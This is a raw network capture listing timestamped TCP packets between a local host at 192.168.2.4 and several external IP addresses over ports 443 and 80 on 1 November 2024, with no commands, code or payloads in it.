Nov 1, 2024 03:45:17.611794949 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.611799955 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.669542074 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.669574022 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.669593096 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.669600964 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.669644117 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.672784090 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.677716017 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.677776098 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.677782059 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.688199043 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.688251019 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.688263893 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.688386917 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.688435078 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.688441038 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.695246935 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.695291996 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.695301056 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.704093933 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.704147100 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.704158068 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.734618902 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.734649897 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.734683990 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.734683990 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.734698057 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.734726906 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.786752939 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.786786079 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.786823988 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.786842108 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.786938906 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.790066957 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.794862986 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.794908047 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.794948101 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.794955969 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.795026064 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.795068979 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.795233011 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:17.795384884 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.795670033 CET	49737	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:17.795681953 CET	443	49737	172.217.18.4	192.168.2.4
Nov 1, 2024 03:45:19.895791054 CET	49745	443	192.168.2.4	184.28.90.27
Nov 1, 2024 03:45:19.895848989 CET	443	49745	184.28.90.27	192.168.2.4
Nov 1, 2024 03:45:19.896080017 CET	49745	443	192.168.2.4	184.28.90.27
Nov 1, 2024 03:45:19.898304939 CET	49745	443	192.168.2.4	184.28.90.27
Nov 1, 2024 03:45:19.898334980 CET	443	49745	184.28.90.27	192.168.2.4
Nov 1, 2024 03:45:20.072550058 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:20.072556973 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:20.072753906 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:20.072957039 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:20.072972059 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:20.746705055 CET	443	49745	184.28.90.27	192.168.2.4
Nov 1, 2024 03:45:20.746812105 CET	49745	443	192.168.2.4	184.28.90.27
Nov 1, 2024 03:45:20.750133991 CET	49745	443	192.168.2.4	184.28.90.27
Nov 1, 2024 03:45:20.750149965 CET	443	49745	184.28.90.27	192.168.2.4
Nov 1, 2024 03:45:20.750401020 CET	443	49745	184.28.90.27	192.168.2.4
Nov 1, 2024 03:45:20.776145935 CET	49750	443	192.168.2.4	52.149.20.212
Nov 1, 2024 03:45:20.776179075 CET	443	49750	52.149.20.212	192.168.2.4
Nov 1, 2024 03:45:20.776258945 CET	49750	443	192.168.2.4	52.149.20.212
Nov 1, 2024 03:45:20.778131008 CET	49750	443	192.168.2.4	52.149.20.212
Nov 1, 2024 03:45:20.778140068 CET	443	49750	52.149.20.212	192.168.2.4
Nov 1, 2024 03:45:20.794260979 CET	49745	443	192.168.2.4	184.28.90.27
Nov 1, 2024 03:45:20.835355997 CET	443	49745	184.28.90.27	192.168.2.4
Nov 1, 2024 03:45:20.932054043 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:20.932248116 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:20.932257891 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:20.933244944 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:20.933315039 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:20.934500933 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:20.934564114 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:20.934684992 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:20.934694052 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:20.989468098 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.036101103 CET	443	49745	184.28.90.27	192.168.2.4
Nov 1, 2024 03:45:21.036143064 CET	443	49745	184.28.90.27	192.168.2.4
Nov 1, 2024 03:45:21.036222935 CET	49745	443	192.168.2.4	184.28.90.27
Nov 1, 2024 03:45:21.036704063 CET	49745	443	192.168.2.4	184.28.90.27
Nov 1, 2024 03:45:21.036736012 CET	443	49745	184.28.90.27	192.168.2.4
Nov 1, 2024 03:45:21.036750078 CET	49745	443	192.168.2.4	184.28.90.27
Nov 1, 2024 03:45:21.036770105 CET	443	49745	184.28.90.27	192.168.2.4
Nov 1, 2024 03:45:21.063694000 CET	49751	443	192.168.2.4	142.250.186.174
Nov 1, 2024 03:45:21.063729048 CET	443	49751	142.250.186.174	192.168.2.4
Nov 1, 2024 03:45:21.063918114 CET	49751	443	192.168.2.4	142.250.186.174
Nov 1, 2024 03:45:21.064126015 CET	49751	443	192.168.2.4	142.250.186.174
Nov 1, 2024 03:45:21.064152002 CET	443	49751	142.250.186.174	192.168.2.4
Nov 1, 2024 03:45:21.072530031 CET	49752	443	192.168.2.4	184.28.90.27
Nov 1, 2024 03:45:21.072550058 CET	443	49752	184.28.90.27	192.168.2.4
Nov 1, 2024 03:45:21.072725058 CET	49752	443	192.168.2.4	184.28.90.27
Nov 1, 2024 03:45:21.073062897 CET	49752	443	192.168.2.4	184.28.90.27
Nov 1, 2024 03:45:21.073074102 CET	443	49752	184.28.90.27	192.168.2.4
Nov 1, 2024 03:45:21.179615974 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.179658890 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.179711103 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.179766893 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.179800987 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.179987907 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.180085897 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.180408001 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.180459023 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.180475950 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.188131094 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.188193083 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.188205004 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.230016947 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.230027914 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.272883892 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.300252914 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.300308943 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.300344944 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.300370932 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.300400019 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.300415993 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.300430059 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.304896116 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.304948092 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.304956913 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.312321901 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.312385082 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.312395096 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.320836067 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.320920944 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.320931911 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.330988884 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.331059933 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.331068993 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.339030981 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.339101076 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.339111090 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.379430056 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.418482065 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.419092894 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.419122934 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.419141054 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.419154882 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.419410944 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.420126915 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.423492908 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.423628092 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.423638105 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.432475090 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.432523012 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.432533979 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.440731049 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.440783024 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.440794945 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.449614048 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.449659109 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.449671030 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.458497047 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.458523989 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.458889008 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.458901882 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.458959103 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.537080050 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.537760019 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.537797928 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.538001060 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.538017988 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.538065910 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.540755987 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.546256065 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.549271107 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.549284935 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.549787998 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.551495075 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.551511049 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.558103085 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.558188915 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.558257103 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.558271885 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.561984062 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.566906929 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.575964928 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.576008081 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.576236963 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.576251030 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.576299906 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.654371023 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.655098915 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.655194998 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.655195951 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.655209064 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.655363083 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.659425020 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.659483910 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.659542084 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.659554958 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.668514967 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.668859959 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.668870926 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.676964045 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.676991940 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.677054882 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.677067041 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.677128077 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.677175045 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.677189112 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.677241087 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.685674906 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.691176891 CET	443	49750	52.149.20.212	192.168.2.4
Nov 1, 2024 03:45:21.691257954 CET	49750	443	192.168.2.4	52.149.20.212
Nov 1, 2024 03:45:21.695648909 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.695691109 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.695745945 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.695760012 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.697099924 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.726146936 CET	49750	443	192.168.2.4	52.149.20.212
Nov 1, 2024 03:45:21.726183891 CET	443	49750	52.149.20.212	192.168.2.4
Nov 1, 2024 03:45:21.726593971 CET	443	49750	52.149.20.212	192.168.2.4
Nov 1, 2024 03:45:21.772275925 CET	49750	443	192.168.2.4	52.149.20.212
Nov 1, 2024 03:45:21.773644924 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.773966074 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.774027109 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.774044037 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.778175116 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.779967070 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.779978037 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.787244081 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.787612915 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.787628889 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.795706987 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.795783043 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.795806885 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.795814991 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.795825005 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.795862913 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.795887947 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.795927048 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.795933962 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.796603918 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:21.796658039 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:21.913465977 CET	443	49752	184.28.90.27	192.168.2.4
Nov 1, 2024 03:45:21.913585901 CET	49752	443	192.168.2.4	184.28.90.27
Nov 1, 2024 03:45:21.929564953 CET	443	49751	142.250.186.174	192.168.2.4
Nov 1, 2024 03:45:21.982923985 CET	49751	443	192.168.2.4	142.250.186.174
Nov 1, 2024 03:45:22.039115906 CET	49751	443	192.168.2.4	142.250.186.174
Nov 1, 2024 03:45:22.039154053 CET	443	49751	142.250.186.174	192.168.2.4
Nov 1, 2024 03:45:22.039736986 CET	443	49751	142.250.186.174	192.168.2.4
Nov 1, 2024 03:45:22.039751053 CET	443	49751	142.250.186.174	192.168.2.4
Nov 1, 2024 03:45:22.039803028 CET	49751	443	192.168.2.4	142.250.186.174
Nov 1, 2024 03:45:22.040771008 CET	443	49751	142.250.186.174	192.168.2.4
Nov 1, 2024 03:45:22.040828943 CET	49751	443	192.168.2.4	142.250.186.174
Nov 1, 2024 03:45:22.054742098 CET	49752	443	192.168.2.4	184.28.90.27
Nov 1, 2024 03:45:22.054759979 CET	443	49752	184.28.90.27	192.168.2.4
Nov 1, 2024 03:45:22.055113077 CET	443	49752	184.28.90.27	192.168.2.4
Nov 1, 2024 03:45:22.056492090 CET	49752	443	192.168.2.4	184.28.90.27
Nov 1, 2024 03:45:22.070602894 CET	49747	443	192.168.2.4	142.250.74.206
Nov 1, 2024 03:45:22.070622921 CET	443	49747	142.250.74.206	192.168.2.4
Nov 1, 2024 03:45:22.071218967 CET	49751	443	192.168.2.4	142.250.186.174
Nov 1, 2024 03:45:22.071345091 CET	443	49751	142.250.186.174	192.168.2.4
Nov 1, 2024 03:45:22.074342966 CET	49751	443	192.168.2.4	142.250.186.174
Nov 1, 2024 03:45:22.074376106 CET	443	49751	142.250.186.174	192.168.2.4
Nov 1, 2024 03:45:22.074400902 CET	49751	443	192.168.2.4	142.250.186.174
Nov 1, 2024 03:45:22.103338003 CET	443	49752	184.28.90.27	192.168.2.4
Nov 1, 2024 03:45:22.115371943 CET	443	49751	142.250.186.174	192.168.2.4
Nov 1, 2024 03:45:22.130274057 CET	49751	443	192.168.2.4	142.250.186.174
Nov 1, 2024 03:45:22.304330111 CET	443	49752	184.28.90.27	192.168.2.4
Nov 1, 2024 03:45:22.304419041 CET	443	49752	184.28.90.27	192.168.2.4
Nov 1, 2024 03:45:22.304586887 CET	49752	443	192.168.2.4	184.28.90.27
Nov 1, 2024 03:45:22.313496113 CET	49752	443	192.168.2.4	184.28.90.27
Nov 1, 2024 03:45:22.313508987 CET	443	49752	184.28.90.27	192.168.2.4
Nov 1, 2024 03:45:22.313520908 CET	49752	443	192.168.2.4	184.28.90.27
Nov 1, 2024 03:45:22.313525915 CET	443	49752	184.28.90.27	192.168.2.4
Nov 1, 2024 03:45:22.363778114 CET	443	49751	142.250.186.174	192.168.2.4
Nov 1, 2024 03:45:22.410756111 CET	49751	443	192.168.2.4	142.250.186.174
Nov 1, 2024 03:45:22.410774946 CET	443	49751	142.250.186.174	192.168.2.4
Nov 1, 2024 03:45:22.412015915 CET	49751	443	192.168.2.4	142.250.186.174
Nov 1, 2024 03:45:22.412066936 CET	443	49751	142.250.186.174	192.168.2.4
Nov 1, 2024 03:45:22.412132025 CET	49751	443	192.168.2.4	142.250.186.174
Nov 1, 2024 03:45:22.431757927 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:22.432138920 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:22.436784983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:22.436999083 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:22.437102079 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:22.437197924 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:22.437216043 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:22.442018032 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:22.442028999 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:23.065197945 CET	49750	443	192.168.2.4	52.149.20.212
Nov 1, 2024 03:45:23.072952032 CET	49722	80	192.168.2.4	199.232.210.172
Nov 1, 2024 03:45:23.077948093 CET	80	49722	199.232.210.172	192.168.2.4
Nov 1, 2024 03:45:23.078200102 CET	49722	80	192.168.2.4	199.232.210.172
Nov 1, 2024 03:45:23.107333899 CET	443	49750	52.149.20.212	192.168.2.4
Nov 1, 2024 03:45:23.365859985 CET	443	49750	52.149.20.212	192.168.2.4
Nov 1, 2024 03:45:23.365883112 CET	443	49750	52.149.20.212	192.168.2.4
Nov 1, 2024 03:45:23.365890026 CET	443	49750	52.149.20.212	192.168.2.4
Nov 1, 2024 03:45:23.365900040 CET	443	49750	52.149.20.212	192.168.2.4
Nov 1, 2024 03:45:23.365922928 CET	443	49750	52.149.20.212	192.168.2.4
Nov 1, 2024 03:45:23.365978003 CET	49750	443	192.168.2.4	52.149.20.212
Nov 1, 2024 03:45:23.365993977 CET	443	49750	52.149.20.212	192.168.2.4
Nov 1, 2024 03:45:23.366014957 CET	49750	443	192.168.2.4	52.149.20.212
Nov 1, 2024 03:45:23.366029024 CET	443	49750	52.149.20.212	192.168.2.4
Nov 1, 2024 03:45:23.366049051 CET	443	49750	52.149.20.212	192.168.2.4
Nov 1, 2024 03:45:23.366059065 CET	49750	443	192.168.2.4	52.149.20.212
Nov 1, 2024 03:45:23.366157055 CET	49750	443	192.168.2.4	52.149.20.212
Nov 1, 2024 03:45:23.430443048 CET	49759	443	192.168.2.4	142.250.186.174
Nov 1, 2024 03:45:23.430488110 CET	443	49759	142.250.186.174	192.168.2.4
Nov 1, 2024 03:45:23.430589914 CET	49759	443	192.168.2.4	142.250.186.174
Nov 1, 2024 03:45:23.431035995 CET	49759	443	192.168.2.4	142.250.186.174
Nov 1, 2024 03:45:23.431052923 CET	443	49759	142.250.186.174	192.168.2.4
Nov 1, 2024 03:45:23.851171017 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:23.851246119 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:23.918838024 CET	49759	443	192.168.2.4	142.250.186.174
Nov 1, 2024 03:45:23.938956976 CET	49739	443	192.168.2.4	172.217.18.4
Nov 1, 2024 03:45:23.955508947 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:23.955526114 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:23.960263014 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:23.960386992 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:23.960397005 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:24.272013903 CET	49750	443	192.168.2.4	52.149.20.212
Nov 1, 2024 03:45:24.272032022 CET	443	49750	52.149.20.212	192.168.2.4
Nov 1, 2024 03:45:24.272043943 CET	49750	443	192.168.2.4	52.149.20.212
Nov 1, 2024 03:45:24.272048950 CET	443	49750	52.149.20.212	192.168.2.4
Nov 1, 2024 03:45:24.731796980 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:24.731883049 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:24.893932104 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:24.898844957 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:25.676681995 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:25.676750898 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:26.101128101 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:26.105952978 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:26.878627062 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:26.878760099 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:27.097459078 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:27.109335899 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:27.378386974 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:27.378422022 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:27.378453970 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:27.378468990 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:27.378478050 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:27.378499031 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:27.378509045 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:27.378520012 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:27.378542900 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:27.378542900 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:27.378578901 CET	80	49756	185.215.113.206	192.168.2.4
